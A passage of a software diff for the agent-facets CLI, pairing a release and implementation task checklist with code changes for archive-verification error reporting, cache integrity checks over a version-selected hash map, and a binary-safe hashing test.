commit, install, publish, and terminology documentation for supplementary membership, strict versions, path safety, per-file hashes, and atomic skill bundles -- [ ] 14.2 Implement: Update create, edit, install, troubleshooting, first-facet, install-facets, skills, and custom-adapter guides plus root `README.md` for the README workflow, materialization boundary, upgrade guidance, and non-asset files, and update the adapter API version-negotiation docs and adapter install/list surfaces from `0.0` to `0.1` (tagged contract, CLI-supported-API values, and reinstall guidance for old positional `0.0` adapters) -- [ ] 14.3 Implement: Generate or share schema-derived field references where practical, keep one authoritative minimum-version mapping, and link other documentation to it instead of copying values -- [ ] 14.4 Implement: Add linked minor-release changeset metadata and release notes identifying the previously accepted archive, lockfile, naming, and adapter behaviors that become incompatible — including the adapter API `0.0`→`0.1` cutover for the SDK and three first-party adapters — while intentionally omitting an `agent-facets` CLI changeset from this stack so the CLI release requiring `0.1` follows in a second cycle gated on all three first-party adapters publishing `facetAdapterApiVersion: 0.1`, and retain the approved protocol delta as the authoritative permanent pre-1.0 breaking-minor/post-1.0 breaking-major policy update to be synced during change finalization -- [ ] 14.5 Verify: Run documentation checks, strict OpenSpec validation, package API/build checks, and the full `bun check` suite, fixing formatter-only findings with `bun format`, then verify implementation coverage scenario-by-scenario across all seven delta specs and confirm the consumer-first bridge and external registry gate precede `0.2` producer enablement +- [x] 4.1 Implement: Validate raw tar headers for both the outer container and the inner archive before lossy mapping and return structured failures for duplicate paths, portable aliases, unsafe or non-portable paths, and every non-regular entry type +- [x] 4.2 Implement: Make archive verification derive exact expected membership from the embedded manifest's shared archive plan and require equality with observed entries and the version-selected hash map +- [x] 4.3 Implement: Keep supplementary content as opaque bytes and return a tagged verified result that groups companions with their owning skill while decoding and validating only primary assets as text +- [x] 4.4 Implement: Add structured unsupported-version and per-entry integrity failures, preserve caller-supplied decompression, and prevent malformed current archives from falling back to legacy rules +- [x] 4.5 Implement: Update registry download, cache audit/extraction, and engine loaders to consume tagged verified results without exposing archive-only files to materialization +- [x] 4.6 Implement: Add immutable valid `0.1` and `0.2` fixtures plus tampering, missing/extra entry, raw-header (both layers), duplicate-JSON-member, portable-alias, non-portable path, binary, empty-supplementary, and legacy-compatibility tests +- [x] 4.7 Verify: Run focused protocol and engine consumer tests and confirm the bridge accepts both formats while no released producer emits `0.2` + +## 5. Protocol-Only Release Handoff + +- [x] 5.1 Explore: Audit the release automation, protocol package boundary, public exports, Node-native smoke coverage, pending lower-stack review findings, and downstream registry API needs, using the stack through PR `#437` as the release boundary +- [x] 5.2 Propose: Present the exact protocol-only release packet and merge order for PRs `#428`, `#435`, and `#437`, including the pre-1.0 minor changeset, release notes, verification evidence, and an explicit exclusion of adapter and `agent-facets` CLI bumps +- [x] 5.3 Implement: Resolve every valid correctness, compatibility, package-surface, fixture, and documentation finding required to make the proposal, protocol-model, and archive-verifier stack through PR `#437` release-ready without pulling adapter-contract work into the release boundary +- [x] 5.4 Implement: Add a protocol-only pre-1.0 minor changeset to PR `#437` describing strict `0.1`/`0.2` consumer support, the breaking tagged verification API, structured failures, and the registry migration surface, with no adapter-package or `agent-facets` CLI release entry +- [x] 5.5 Verify: Run focused protocol tests, types, package build/API checks, Node-native smoke coverage, immutable dual-version fixture verification, and the full `bun check`, and prove the currently released CLI producer behavior remains `0.1` +- [x] 5.6 Implement: Restack and submit the release boundary through PR `#437`, keeping PR `#438` and all later CLI work above the protocol-only release boundary +- [x] 5.7 Review: Present the clean protocol release handoff, exact merge/version-package sequence, verification evidence, and downstream registry resume prompt to the user; protocol publication remains an externally controlled action and does not block continued work above PR `#437` + +## 6. Adapter Skill Bundles — Research + +- [x] 6.1 Explore: Trace adapter install/read/delete calls and identify every positional-contract implementation and consumer +- [x] 6.2 Explore: Inspect filesystem helper containment, metadata transformation, pruning, and failure behavior for each first-party adapter +- [x] 6.3 Explore: Inspect engine materialization's type-only adapter dependency and determine how atomic helpers can remain owned by the adapter SDK +- [x] 6.4 Propose: Define tagged request/result unions and an all-or-nothing owned skill-bundle lifecycle that cannot represent companions on agents or commands +- [x] 6.5 Explore: Audit the merged adapter-API-version machinery — `ADAPTER_API_VERSION`, `SUPPORTED_ADAPTER_APIS`, verifier/loader/inspection classification, npm package/runtime declaration selection, and first-party prepack `facetAdapterApiVersion` injection — and confirm every consumer derives from the single SDK constant + +## 7. Adapter Skill Bundles — Implementation and Release Preparation + +- [x] 7.1 Implement: Replace positional adapter asset methods with tagged skill, agent, and command requests/results carrying explicit scope, type, and name, with skill variants carrying engine-supplied owned-companion path sets for install, read, and delete +- [x] 7.2 Implement: Add SDK filesystem helpers that validate every supplied companion path (new or owned) as contained below the skill root before any filesystem access, plus staged bundle replacement, rollback, ownership-set-based deletion, and empty-directory pruning with primary-only metadata transformation +- [x] 7.3 Implement: Migrate claude-code, opencode, and codex adapters to the tagged contract and canonical reads, including consistent skill-root pruning and preservation of unowned files +- [x] 7.4 Implement: Add SDK and first-party adapter tests for companion-less and multi-file skills, escaping paths in bundles and ownership sets, malformed ownership rejection before any filesystem access, idempotence, canonical reads limited to requested owned paths, unowned content preservation, and injected failures at every write/delete/commit boundary +- [x] 7.5 Implement: Update adapter public exports and add a pre-1.0 minor changeset covering only the adapter SDK and three first-party adapters, explicitly withholding any `agent-facets` CLI bump until the final release gate +- [x] 7.6 Implement: Bump the single-source-of-truth `ADAPTER_API_VERSION` from `0.0` to `0.1` for the tagged contract, keep `SUPPORTED_ADAPTER_APIS` derived from it (support set `{0.1}`), and update first-party adapter package/runtime declarations and prepack `facetAdapterApiVersion` injection so every consumer derives `0.1` without hardcoding the token +- [x] 7.7 Implement: Add fail-closed coverage proving `defineAdapter()` stamps `0.1` while author definitions cannot supply it, a positional `0.0` declaration is well-formed but unsupported by a `{0.1}` CLI, an installed/runtime `0.0` adapter is rejected before any contract method or project mutation, package/runtime metadata agree at `0.1`, and tagged `0.1` first-party adapters proceed through normal materialization +- [x] 7.8 Verify: Run focused adapter SDK, compatibility/verifier, and all first-party adapter typechecks and tests + +## 8. Lockfile, Receipt, and Materialization — Research + +- [ ] 8.1 Explore: Trace lockfile loading/writing and every place resolved entries are inherited, minted, compared, or carried forward +- [ ] 8.2 Explore: Trace receipt loading, bootstrapping, project isolation, drift removal, tri-write commit, and rollback ordering +- [ ] 8.3 Explore: Trace materialization, skip-if-identical behavior, journaling, deletion, drift reporting, and archive-to-adapter data flow +- [ ] 8.4 Propose: Define the migration and transaction approach for per-file integrity, untrusted receipt ownership, atomic skill bundles, normal legacy migration, and frozen legacy behavior + +## 9. Lockfile, Receipt, and Materialization — Implementation + +- [ ] 9.1 Implement: Replace numeric-order lockfile handling with exact legacy-alpha-`1` and current-`0.2` loading, normal-mode migration, and frozen-mode no-rewrite behavior +- [ ] 9.2 Implement: Derive sorted lockfile asset file records from the verified materialization subset and recomputed entry hashes rather than copying self-declared hash values +- [ ] 9.3 Implement: Enforce pre-materialization agreement among facet integrity, asset identities, complete owned path sets, recomputed entry hashes, and verified build-manifest hashes with path-specific result variants, running the adapter-compatibility preflight (positional `0.0` rejected by a `{0.1}` CLI) ahead of archive-version dispatch and per-file reconciliation +- [ ] 9.4 Implement: Introduce receipt `0.2` asset/file ownership, safe legacy refinement, project-isolated bootstrap, and containment validation that treats receipt data as untrusted +- [ ] 9.5 Implement: Commit lockfile, receipt, and adapter state transactionally and ensure frozen consistency gates complete before receipt-driven cleanup begins +- [ ] 9.6 Implement: Materialize only primary assets and owned skill companions through tagged adapter requests carrying validated ownership sets from the lockfile and receipt, with per-file skip/repair behavior and rollback journal preimages +- [ ] 9.7 Implement: Make drift and removal path-specific, preserve unowned files, and support offline multi-file cleanup from receipts without cache or network access +- [ ] 9.8 Implement: Render lockfile, archive-version, per-file mismatch, adapter-bundle, and receipt failures exhaustively in CLI install output using one compatibility table for known format transitions +- [ ] 9.9 Implement: Add engine and CLI tests for migration, frozen failures, receipt corruption/isolation, pulled-lockfile cleanup, per-file drift, integrity mismatch, rollback, archive-only withholding, and exact diagnostics +- [ ] 9.10 Implement: Add a full-cycle end-to-end test that builds and verifies a facet with skill companions and archive-only files, installs it, detects and repairs single-file drift, exercises interrupted-install convergence on re-run without deleting unowned files, and removes it offline from the receipt, then exercises the same install path with an immutable legacy `0.1` archive +- [ ] 9.11 Verify: Run focused install, materialization, receipt, lockfile, cache, registry, and CLI install tests + +## 10. Current Producer and Build Pipeline — Research + +- [ ] 10.1 Explore: Trace source-file loading, build validation stages, archive assembly, output cleanup, and build-result rendering +- [ ] 10.2 Explore: Inspect source filesystem APIs needed to reject missing files, links, resolved aliases, and non-regular declarations before output mutation +- [ ] 10.3 Explore: Inspect Changesets and CLI packaging to confirm the complete `0.2` producer may be implemented and merged without publishing `agent-facets`, while protocol, registry, adapter, and final CLI activation remain independently controlled release gates +- [ ] 10.4 Propose: Define the producer implementation that reuses the archive plan, preserves deterministic bytes, validates before cleanup, emits only current-format output in the unreleased candidate, and requires no long-lived runtime dual-format flag + +## 11. Current Producer and Build Pipeline — Implementation + +- [ ] 11.1 Implement: Load declared supplementary files as exact bytes, validate their resolved regular-file identities, and preserve previous `dist/` output on every input failure +- [ ] 11.2 Implement: Drive archive collection and all-entry hashing from the shared archive plan, preserving deterministic ordering and opaque binary or empty supplementary content +- [ ] 11.3 Implement: Switch every build in the unreleased source candidate, including asset-only facets, to flat build-manifest `0.2` output with a complete `files` map while retaining legacy consumer support +- [ ] 11.4 Implement: Update build results and CLI output to show the emitted format, complete entry listing, integrity, and archive-assembly stage +- [ ] 11.5 Implement: Add the build failure-class matrix for traversal, absolute/drive/URL prefixes, backslashes, NUL, empty/`.`/`..` segments, Unicode-normalization and portable-case aliases, Windows-reserved device names, forbidden portable characters, trailing dot/space segments, file/directory prefix collisions, symlinks, hard links, duplicate paths, reserved root `facet.json`, conventional-primary-path collisions, missing declarations, undeclared entries, and tampered bytes, plus success tests for top-level files, nested companions, binary/empty bytes, exact manifest-byte hashing, canonical-tar determinism, scoped output paths, and validation-before-cleanup +- [ ] 11.6 Implement: Add a reproducible candidate archive/interop path that can produce a representative `0.2` artifact for registry stage acceptance without publishing or releasing the CLI +- [ ] 11.7 Verify: Run focused build pipeline and CLI build tests and inspect representative `0.2` archives for exact deterministic membership while confirming no `agent-facets` release changeset is present + +## 12. Create and Edit Authoring — Research + +- [ ] 12.1 Explore: Trace scaffold options, manifest generation, templates, previews, and create wizard state/editor round-trips +- [ ] 12.2 Explore: Trace edit scanner, reconciliation, context, operation, manifest-rewrite, confirmation, and transactional apply types +- [ ] 12.3 Explore: Inspect create/edit focus management and exhaustive UI switches that must represent two independent README paths and path-bearing reconciliation items +- [ ] 12.4 Propose: Define tagged README and supplementary-file states, stable reconciliation identities, headless-create behavior, and an exact-path operation preview for the full authoring block + +## 13. Create and Edit Authoring — Implementation + +- [ ] 13.1 Implement: Add an editable default `README.md` scaffold option and template that writes the file and top-level declaration atomically without regenerating authored content after identity edits +- [ ] 13.2 Implement: Add the dedicated create README card/editor flow, optional disable behavior, state snapshotting, and explicit confirmation preview, and align headless create with the documented policy +- [ ] 13.3 Implement: Extend edit scanning and reconciliation for undeclared skill companions, common root files, and missing declared supplementary files while routing only exact `README.md` and `README` paths to a dedicated panel +- [ ] 13.4 Implement: Add independent tagged states and actions for both conventional README paths, preserving bytes on adoption and retaining exact paths for scaffold, edit, removal, and declaration changes +- [ ] 13.5 Implement: Replace string-parsed reconciliation keys with stable structured identities and represent file/declaration operations as tagged variants with no invalid combinations +- [ ] 13.6 Implement: Apply README, companion, and generic supplementary changes transactionally with manifest edits and show every queued exact-path operation before Apply +- [ ] 13.7 Implement: Add engine, CLI, TUI, integration, and create-build end-to-end tests covering README defaults/disable/edit preservation in interactive and headless creates, both README paths, adoption, missing-file choices, companion discovery, skill deletion preserving undeclared files, confirmation, cancellation, and buildability +- [ ] 13.8 Verify: Run focused scaffold, edit, create, TUI, integration, and end-to-end tests + +## 14. Documentation — Research + +- [ ] 14.1 Explore: Audit `docs/` and root `README.md` for archive versions, hash-map shape, manifest naming/declarations, lockfile/receipt semantics, install behavior, adapter contracts, and asset-only wording +- [ ] 14.2 Explore: Inspect documentation generation and shared snippets so field descriptions and compatibility values are referenced from authoritative schemas or constants rather than duplicated +- [ ] 14.3 Explore: Inspect the protocol-only, adapter-only, and held CLI release notes and package metadata so documentation describes the actual staged rollout without making package versions a second source of truth +- [ ] 14.4 Propose: Define the documentation and generated-reference update set, including compatibility warnings, the custom-adapter contract, and the consumer-first protocol → registry → adapter → CLI release sequence + +## 15. Documentation — Implementation + +- [ ] 15.1 Implement: Update archive, build, manifest, integrity, lockfile, commit, install, publish, and terminology documentation for supplementary membership, strict versions, path safety, per-file hashes, atomic skill bundles, and the protocol-first release boundary +- [ ] 15.2 Implement: Update create, edit, install, troubleshooting, first-facet, install-facets, skills, and custom-adapter guides plus root `README.md` for the README workflow, materialization boundary, upgrade guidance, non-asset files, and adapter API `0.0`→`0.1` migration +- [ ] 15.3 Implement: Generate or share schema-derived field references where practical, keep one authoritative minimum-version mapping, and link other documentation to it instead of copying values +- [ ] 15.4 Implement: Add durable release notes identifying the previously accepted archive, lockfile, naming, and adapter behaviors that become incompatible, and retain the approved protocol delta as the authoritative permanent pre-1.0 breaking-minor/post-1.0 breaking-major policy update to be synced during change finalization +- [ ] 15.5 Verify: Run documentation checks and verify every compatibility and release-order claim against authoritative schemas, constants, package metadata, and the staged Changesets + +## 16. Held CLI Release Gate and Final Readiness + +- [ ] 16.1 Explore: Audit the completed implementation, package versions, pending Changesets, generated release notes, and release automation to define a minimal held `agent-facets` activation PR with no unintended protocol or adapter publication +- [ ] 16.2 Propose: Present the exact CLI-only pre-1.0 minor changeset, activation evidence, PR base/stack placement, and merge conditions; the user retains sole authority to merge the held release gate +- [ ] 16.3 Implement: Create and submit the tiny held CLI release-gate PR containing the `agent-facets` changeset and final release notes, without merging, publishing, or deploying it +- [ ] 16.4 Verify: Run strict OpenSpec validation, package API/build checks, and the full `bun check` suite, fixing formatter-only findings with `bun format`, then verify implementation coverage scenario-by-scenario across all seven delta specs +- [ ] 16.5 Verify: Confirm the protocol-only release from Section 5 is published and exposes strict `0.1`/`0.2` verification, tagged results, structured failures, and cross-version helpers from a clean consumer install +- [ ] 16.6 Verify: Confirm the adapter SDK and all three first-party adapters are published with `facetAdapterApiVersion: 0.1`, while existing `0.0` CLIs retain compatible `0.0` adapter resolution +- [ ] 16.7 Verify: Confirm the deployed registry pins the released protocol, accepts valid `0.1` and `0.2`, rejects malformed/unsupported archives before persistence, preserves supplementary hashes, and reads only intended primary resources +- [ ] 16.8 Verify: Build the unreleased candidate CLI, publish a representative `0.2` archive to the stage registry, and verify metadata, archive download, stored-content behavior, and legacy `0.1` retention end to end +- [ ] 16.9 Review: Present the final activation packet and evidence to the user; the held CLI release-gate PR remains unmerged until the user explicitly authorizes the Changesets version-and-publish sequence diff --git a/packages/cli/src/commands/publish/__tests__/publish.test.ts b/packages/cli/src/commands/publish/__tests__/publish.test.ts index f4fed12c..02b3a924 100644 --- a/packages/cli/src/commands/publish/__tests__/publish.test.ts +++ b/packages/cli/src/commands/publish/__tests__/publish.test.ts @@ -118,8 +118,8 @@ describe('publishCommand — happy path', () => { // through the protocol's archive reader, has a build manifest. const parsed = parseFacetArchive(call.body) if (!parsed.ok) expect.unreachable() - expect(parsed.data.buildManifest.archive).toBe('archive.tar.gz') - expect(parsed.data.buildManifest.integrity).toMatch(/^sha256:[a-f0-9]{64}$/) + expect(parsed.data.manifest.manifest.archive).toBe('archive.tar.gz') + expect(parsed.data.manifest.manifest.integrity).toMatch(/^sha256:[a-f0-9]{64}$/) expect(stdout).toContain('Published cowsay@0.1.0') }) }) @@ -156,7 +156,7 @@ describe('publishCommand — missing artifact', () => { if (call === undefined) expect.unreachable() const parsed = parseFacetArchive(call.body) if (!parsed.ok) expect.unreachable() - expect(parsed.data.buildManifest.archive).toBe('archive.tar.gz') + expect(parsed.data.manifest.manifest.archive).toBe('archive.tar.gz') }) test('TTY, user declines build offer: aborts non-zero, no fetch', async () => { @@ -841,6 +841,6 @@ describe('publishCommand — build/publish parity', () => { const diskParsed = parseFacetArchive(onDiskBytes) const uploadParsed = parseFacetArchive(call.body) if (!diskParsed.ok || !uploadParsed.ok) expect.unreachable() - expect(uploadParsed.data.buildManifest).toEqual(diskParsed.data.buildManifest) + expect(uploadParsed.data.manifest).toEqual(diskParsed.data.manifest) }) }) diff --git a/packages/cli/src/commands/publish/index.ts b/packages/cli/src/commands/publish/index.ts index 21162055..e999a0cd 100644 --- a/packages/cli/src/commands/publish/index.ts +++ b/packages/cli/src/commands/publish/index.ts @@ -7,7 +7,7 @@ import { resolveCredential, uncappedGunzip, } from '@agent-facets/engine' -import { type FacetManifest, validateFacetArchive } from '@agent-facets/protocol' +import { type ArchiveVerificationFailure, type FacetManifest, validateFacetArchive } from '@agent-facets/protocol' import type { Command } from '../../commands.ts' import { writeCliError } from '../../util/errors.ts' import { translateEngineRegistryError } from '../../util/registry-errors.ts' @@ -121,7 +121,7 @@ export const publishCommand: Command = { if (!verified.ok) { writeCliError({ what: 'built artifact failed verification', - detail: verified.errors.map((e) => `${e.path}: ${e.message}`).join('\n'), + detail: describeVerificationFailure(verified.failure), fix: 'rebuild with `facet build`', }) return 1 @@ -151,6 +151,35 @@ export const publishCommand: Command = { }, } +/** + * Render an archive-verification failure as a multi-line detail block for + * the CLI's 3-line error format. + */ +function describeVerificationFailure(failure: ArchiveVerificationFailure): string { + switch (failure.code) { + case 'container': + case 'invalid-json': + case 'duplicate-members': + case 'schema-violation': + case 'validation': + return failure.errors.map((e) => (e.path ? `${e.path}: ${e.message}` : e.message)).join('\n') + case 'decompression': + return failure.reason === 'too-large' + ? 'inner archive exceeds the allowed decompressed size' + : 'inner archive is not valid gzip (corrupt or truncated)' + case 'integrity': + return `archive integrity mismatch: expected ${failure.failure.expected}, got ${failure.failure.observed}` + case 'entry-integrity': + return failure.failures.map((f) => `${f.path}: expected ${f.expected}, got ${f.observed}`).join('\n') + case 'unsupported-facet-version': + return `archive format ${failure.observed ?? '(missing)'} is not supported (supported: ${failure.supported.join(', ')})` + default: { + const unreachable: never = failure + throw new Error(`unreachable verification failure: ${JSON.stringify(unreachable)}`) + } + } +} + /** * Choose the bytes to publish based on what's in `dist/` and the * current source manifest. Returns `null` if the user (or non-TTY @@ -198,7 +227,7 @@ async function pickBytesToPublish( if (!verifyForDrift.ok) { writeCliError({ what: 'built artifact failed verification', - detail: verifyForDrift.errors.map((e) => `${e.path}: ${e.message}`).join('\n'), + detail: describeVerificationFailure(verifyForDrift.failure), fix: 'rebuild with `facet build`', }) return null diff --git a/packages/cli/src/tui/views/install/failure-block.tsx b/packages/cli/src/tui/views/install/failure-block.tsx index a16087e8..591f7f82 100644 --- a/packages/cli/src/tui/views/install/failure-block.tsx +++ b/packages/cli/src/tui/views/install/failure-block.tsx @@ -99,6 +99,12 @@ export function FailureBlock({ failure }: { failure: RunInstallFailure }): React ) : null} {failure.error.code === 'NETWORK_ERROR' ? network: {failure.error.cause} : null} + {failure.error.code === 'UNSUPPORTED_ARCHIVE' ? ( + + {' '} + archive format {failure.error.observed ?? '(unknown)'} is not supported by this CLI — update agent-facets + + ) : null} ) case 'CONFIRMATION_UNAVAILABLE': diff --git a/packages/cli/src/util/registry-errors.ts b/packages/cli/src/util/registry-errors.ts index ded2fb27..019de22f 100644 --- a/packages/cli/src/util/registry-errors.ts +++ b/packages/cli/src/util/registry-errors.ts @@ -55,5 +55,17 @@ export function translateEngineRegistryError(err: RegistryError): CliError { detail: err.cause, fix: 'try again; if persistent, file a bug', } + case 'UNSUPPORTED_ARCHIVE': + // Basic upgrade guidance for now; the full facet-format → + // minimum-CLI-release compatibility table lands with the install + // failure-rendering work. + return { + what: + err.observed === undefined + ? 'this facet uses an archive format this CLI does not recognize' + : `this facet uses archive format ${err.observed}, which this CLI does not support`, + detail: `supported archive formats: ${err.supported.join(', ')}`, + fix: 'update agent-facets with `facet self-update` and try again', + } } } diff --git a/packages/engine/src/__tests__/cache.test.ts b/packages/engine/src/__tests__/cache.test.ts index e92a7829..fe2002ea 100644 --- a/packages/engine/src/__tests__/cache.test.ts +++ b/packages/engine/src/__tests__/cache.test.ts @@ -301,7 +301,13 @@ describe('cachePutVerified', () => { 'skills/foo/SKILL.md': '# foo skill', }) - const result = cachePutVerified(id, staging, manifest, manifest.integrity, 'p') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + manifest.integrity, + 'p', + ) expect(result.ok).toBe(true) if (!result.ok) expect.unreachable() @@ -327,7 +333,13 @@ describe('cachePutVerified', () => { const wrongHash = 'sha256:0000000000000000000000000000000000000000000000000000000000000000' manifest.assets['facet.json'] = wrongHash - const result = cachePutVerified(id, staging, manifest, manifest.integrity, 'p') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + manifest.integrity, + 'p', + ) expect(result.ok).toBe(false) if (result.ok) expect.unreachable() @@ -353,7 +365,13 @@ describe('cachePutVerified', () => { manifest.assets['skills/missing/SKILL.md'] = 'sha256:1111111111111111111111111111111111111111111111111111111111111111' - const result = cachePutVerified(id, staging, manifest, manifest.integrity, 'p') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + manifest.integrity, + 'p', + ) expect(result.ok).toBe(false) if (result.ok) expect.unreachable() @@ -374,7 +392,13 @@ describe('cachePutVerified', () => { }) const wrongComputed = computeContentHash('different-archive-bytes') - const result = cachePutVerified(id, staging, manifest, wrongComputed, 'p') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + wrongComputed, + 'p', + ) expect(result.ok).toBe(false) if (result.ok) expect.unreachable() @@ -399,7 +423,13 @@ describe('cachePutVerified', () => { 'facet.json': '{"name":"p","version":"1.0.0"}', }) - const result = cachePutVerified(id, staging, manifest, manifest.integrity, 'p') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + manifest.integrity, + 'p', + ) expect(result.ok).toBe(false) if (result.ok) expect.unreachable() @@ -420,7 +450,13 @@ describe('readCachedIntegrity', () => { 'skills/foo/SKILL.md': '# foo skill', }) - const result = cachePutVerified(id, staging, manifest, manifest.integrity, 'p') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + manifest.integrity, + 'p', + ) expect(result.ok).toBe(true) if (!result.ok) expect.unreachable() @@ -623,7 +659,13 @@ describe('cachePutVerified path traversal defense', () => { }, } - const result = cachePutVerified(id, staging, manifest, manifest.integrity, 'traversal') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + manifest.integrity, + 'traversal', + ) expect(result.ok).toBe(false) if (result.ok) expect.unreachable() @@ -652,7 +694,13 @@ describe('cachePutVerified path traversal defense', () => { }, } - const result = cachePutVerified(id, staging, manifest, manifest.integrity, 'abs-path') + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + manifest.integrity, + 'abs-path', + ) expect(result.ok).toBe(false) if (result.ok) expect.unreachable() @@ -664,3 +712,35 @@ describe('cachePutVerified path traversal defense', () => { rmSync(staging, { recursive: true, force: true }) }) }) + +describe('computeDirIntegrity — binary-safe recompute', () => { + test('recomputes hashes for opaque binary files without UTF-8 corruption', () => { + const dir = mkdtempSync(join(tmpdir(), 'dir-integrity-bin-')) + try { + // Bytes that are invalid UTF-8 (0xFF/0xFE never appear in valid UTF-8). + // Reading these as 'utf8' replaces them with U+FFFD, so a text-based + // recompute would not match the hash of the true bytes. + const binary = new Uint8Array([0x00, 0xff, 0xfe, 0x10, 0x80, 0x7f]) + mkdirSync(join(dir, 'assets'), { recursive: true }) + writeFileSync(join(dir, 'facet.json'), '{"name":"x","version":"1.0.0"}') + writeFileSync(join(dir, 'assets/logo.bin'), binary) + + const result = computeDirIntegrity(dir, ['facet.json', 'assets/logo.bin']) + if (!result.ok) expect.unreachable() + + // The per-file hash must equal the hash of the exact raw bytes, not the + // UTF-8-decoded string. + expect(result.assetHashes['assets/logo.bin']).toBe(computeContentHash(binary)) + + // The reconstructed-tar integrity must match a tar assembled from the + // exact bytes (what a verified 0.2 archive contains). + const entries = [ + { path: 'assets/logo.bin', content: binary }, + { path: 'facet.json', content: '{"name":"x","version":"1.0.0"}' }, + ].sort((a, b) => (a.path < b.path ? -1 : 1)) + expect(result.integrity).toBe(computeContentHash(assembleTar(entries))) + } finally { + rmSync(dir, { recursive: true, force: true }) + } + }) +}) diff --git a/packages/engine/src/__tests__/run-install.test.ts b/packages/engine/src/__tests__/run-install.test.ts index 3ccdb34e..78a371d8 100644 --- a/packages/engine/src/__tests__/run-install.test.ts +++ b/packages/engine/src/__tests__/run-install.test.ts @@ -786,7 +786,13 @@ function seedCacheSlotForGit( 'skills/planning/SKILL.md': computeContentHash(skillBody), }, } - const result = cachePutVerified(id, staging, manifest, integrity, facetName) + const result = cachePutVerified( + id, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + integrity, + facetName, + ) if (!result.ok) expect.unreachable() return { diff --git a/packages/engine/src/cache/operations.ts b/packages/engine/src/cache/operations.ts index 6d8b7d30..460c0e8b 100644 --- a/packages/engine/src/cache/operations.ts +++ b/packages/engine/src/cache/operations.ts @@ -11,12 +11,7 @@ import { } from 'node:fs' import { dirname, join } from 'node:path' import { validateAssetName } from '@agent-facets/common' -import type { - AssetIntegrityFailure, - BuildManifest, - FacetIntegrityFailure, - IntegrityFailure, -} from '@agent-facets/protocol' +import type { AssetIntegrityFailure, FacetIntegrityFailure, IntegrityFailure } from '@agent-facets/protocol' import { type ArchiveEntry, assembleTar, computeContentHash } from '@agent-facets/protocol' import { type } from 'arktype' import { jsonFileText } from '../json-file-text.ts' @@ -239,7 +234,9 @@ export type CachePutVerifiedResult = * Performs two integrity checks before writing: * * 1. **Per-asset audit**: for every `(path, expectedHash)` in - * `buildManifest.assets`, read the file from `sourceDir`, + * `archive.fileHashes` (the version-selected hash map — `assets` + * for legacy `0.1` archives, `files` for current `0.2` archives), + * read the file from `sourceDir`, * recompute SHA-256 via `computeContentHash`, compare. Any * mismatch returns an `AssetIntegrityFailure` with the offending * path. A missing or unreadable asset is reported with @@ -247,7 +244,7 @@ export type CachePutVerifiedResult = * * 2. **Top-level compare**: `computedIntegrity` (the caller's * verified hash of the canonical archive bytes) must equal - * `buildManifest.integrity` (the manifest's self-declared top- + * `archive.integrity` (the manifest's self-declared top- * level integrity). Mismatch returns a `FacetIntegrityFailure` * with `check: 'C'`. This is the same logical check as the * registry three-check protocol's check C, applied at cache- @@ -278,12 +275,12 @@ export type CachePutVerifiedResult = export function cachePutVerified( identity: CacheIdentity, sourceDir: string, - buildManifest: BuildManifest, + archive: { integrity: string; fileHashes: Record }, computedIntegrity: string, facet: string, ): CachePutVerifiedResult { // 1. Per-asset audit. - for (const [path, expected] of Object.entries(buildManifest.assets)) { + for (const [path, expected] of Object.entries(archive.fileHashes)) { const nameCheck = validateAssetName(path) if (!nameCheck.ok) { const failure: AssetIntegrityFailure = { @@ -322,12 +319,12 @@ export function cachePutVerified( } // 2. Top-level: caller-computed integrity vs. manifest's claim. - if (computedIntegrity !== buildManifest.integrity) { + if (computedIntegrity !== archive.integrity) { const failure: FacetIntegrityFailure = { kind: 'facet', facet, check: 'C', - expected: buildManifest.integrity, + expected: archive.integrity, observed: computedIntegrity, } return { ok: false, integrity: failure } @@ -336,7 +333,7 @@ export function cachePutVerified( // 3. Write the stripped sidecar. const sidecar: CacheIntegrity = { integrity: computedIntegrity, - assets: buildManifest.assets, + assets: archive.fileHashes, } writeFileSync(join(sourceDir, CACHE_INTEGRITY_FILE), jsonFileText(sidecar)) @@ -411,9 +408,15 @@ export function computeDirIntegrity(dir: string, assetPaths: ReadonlyArray Promise> +type DownloadStub = ( + meta: RegistryMetadata, + dest: string, +) => Promise }>> let downloadStub: DownloadStub = async () => ({ ok: false, error: { code: 'NETWORK_ERROR', cause: 'no download stub configured', attempts: 1 }, @@ -72,7 +75,13 @@ function seedSlot(name: string, version: string): { slotPath: string; integrity: const staging = cacheStagingDir() const content = makeContent(staging, name, version) const id: CacheIdentity = { kind: 'registry', name, version } - const put = cachePutVerified(id, content.dir, content.manifest, content.integrity, name) + const put = cachePutVerified( + id, + content.dir, + { integrity: content.manifest.integrity, fileHashes: content.manifest.assets }, + content.integrity, + name, + ) if (!put.ok) throw new Error('test bug: seeding cache slot failed') return { slotPath: put.path, integrity: content.integrity } } @@ -81,7 +90,7 @@ function seedSlot(name: string, version: string): { slotPath: string; integrity: function stubDownload(content: Content): void { downloadStub = async (_meta, dest) => { cpSync(content.dir, dest, { recursive: true }) - return { ok: true, value: content.manifest } + return { ok: true, value: { integrity: content.manifest.integrity, fileHashes: content.manifest.assets } } } } diff --git a/packages/engine/src/install/__tests__/run-add.test.ts b/packages/engine/src/install/__tests__/run-add.test.ts index fd57111a..13db4087 100644 --- a/packages/engine/src/install/__tests__/run-add.test.ts +++ b/packages/engine/src/install/__tests__/run-add.test.ts @@ -54,7 +54,8 @@ mock.module('../../registry/download.ts', () => ({ return { ok: false, error: { code: 'NETWORK_ERROR', cause: 'no fixture set', attempts: 1 } } } cpSync(registryFixtureDir, dest, { recursive: true }) - return { ok: true, value: await manifestFor(registryFixtureDir) } + const manifest = await manifestFor(registryFixtureDir) + return { ok: true, value: { integrity: manifest.integrity, fileHashes: manifest.assets } } }, })) diff --git a/packages/engine/src/install/__tests__/run-install.chain.test.ts b/packages/engine/src/install/__tests__/run-install.chain.test.ts index dbe78013..da056d72 100644 --- a/packages/engine/src/install/__tests__/run-install.chain.test.ts +++ 